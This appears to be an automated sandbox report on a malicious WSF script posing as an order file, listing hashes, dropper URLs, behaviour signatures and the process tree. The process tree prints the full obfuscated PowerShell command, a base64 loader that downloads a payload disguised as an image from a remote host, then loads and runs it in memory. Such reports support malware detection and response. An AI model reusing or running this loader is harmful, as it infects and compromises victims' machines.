Analysis

  • max time kernel
    121s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    04-12-2024 00:41

General

  • Target

    nr101612_Order.wsf

  • Size

    3KB

  • MD5

    2351b140cfa13f0cf05f93b471edd1f6

  • SHA1

    aab24f356405a117ce7df0016b131872fb1b2f16

  • SHA256

    4e176fd538ca3aade9d71291f18cbe73022c88dd19e29fba250a6d0a9137be17

  • SHA512

    bb7e68724ba4e4169e90b0ff3d6379dda43c0d01bf1e26b91211a124833317a4741bb6c5f0c3e97bcc79f8d01460bb09b6cf963c2f39890b7063ddd1b74f0085

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\nr101612_Order.wsf"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:2128
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $originador = 'aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07JGFudGl2aXZpc3NlY2Npb25pc3RhID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cGxvYWQvdjE3MzMxMzQ5NDcvYmtscHlzZXlldXQ0aW1wdzUwbjEuanBnICc7JHBsdW1hY2hvID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskY29udm9jYXIgPSAkcGx1bWFjaG8uRG93bmxvYWREYXRhKCRhbnRpdml2aXNzZWNjaW9uaXN0YSk7JGFjY2VsZXJhdHJpeiA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRjb252b2Nhcik7JGNoaW5jaGFycmF2ZWxobyA9ICc8PEJBU0U2NF9TVEFSVD4+Jzskb2JjZWNhciA9ICc8PEJBU0U2NF9FTkQ+Pic7JHRhc2NhciA9ICRhY2NlbGVyYXRyaXouSW5kZXhPZigkY2hpbmNoYXJyYXZlbGhvKTskbW9jYW1iZWlybyA9ICRhY2NlbGVyYXRyaXouSW5kZXhPZigkb2JjZWNhcik7JHRhc2NhciAtZ2UgMCAtYW5kICRtb2NhbWJlaXJvIC1ndCAkdGFzY2FyOyR0YXNjYXIgKz0gJGNoaW5jaGFycmF2ZWxoby5MZW5ndGg7JGFuZmljYXJwbyA9ICRtb2NhbWJlaXJvIC0gJHRhc2NhcjskYWNhc3VzbyA9ICRhY2NlbGVyYXRyaXouU3Vic3RyaW5nKCR0YXNjYXIsICRhbmZpY2FycG8pOyRlc3R1ZmFkZWlyYSA9IC1qb2luICgkYWNhc3Vzby5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkYWNhc3Vzby5MZW5ndGgpXTskcGlhc3NhYmEgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRlc3R1ZmFkZWlyYSk7JG1lZHVsYW50ZSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJHBpYXNzYWJhKTskZ3JhZmljYW1lbnRlID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGdyYWZpY2FtZW50ZS5JbnZva2UoJG51bGwsIEAoJzAvZUdwdU4vci9lZS5ldHNhcC8vOnNwdHRoJywgJ2JyYW5kbycsICdicmFuZG8nLCAnYnJhbmRvJywgJ01TQnVpbGQnLCAnYnJhbmRvJywgJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJzEnLCdicmFuZG8nKSk7aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07';$alegorista = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($originador));Invoke-Expression $alegorista
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2408

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabE9B5.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\TarE9D7.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • memory/2408-8-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2408-45-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2408-4-0x000007FEF610E000-0x000007FEF610F000-memory.dmp

    Filesize

    4KB

  • memory/2408-9-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2408-10-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2408-6-0x0000000001ED0000-0x0000000001ED8000-memory.dmp

    Filesize

    32KB

  • memory/2408-5-0x000000001B650000-0x000000001B932000-memory.dmp

    Filesize

    2.9MB

  • memory/2408-7-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2408-47-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2408-46-0x000007FEF610E000-0x000007FEF610F000-memory.dmp

    Filesize

    4KB

  • memory/2408-49-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2408-48-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2408-50-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2408-52-0x000000001AE10000-0x000000001AF68000-memory.dmp

    Filesize

    1.3MB

  • memory/2408-53-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

    Filesize

    9.6MB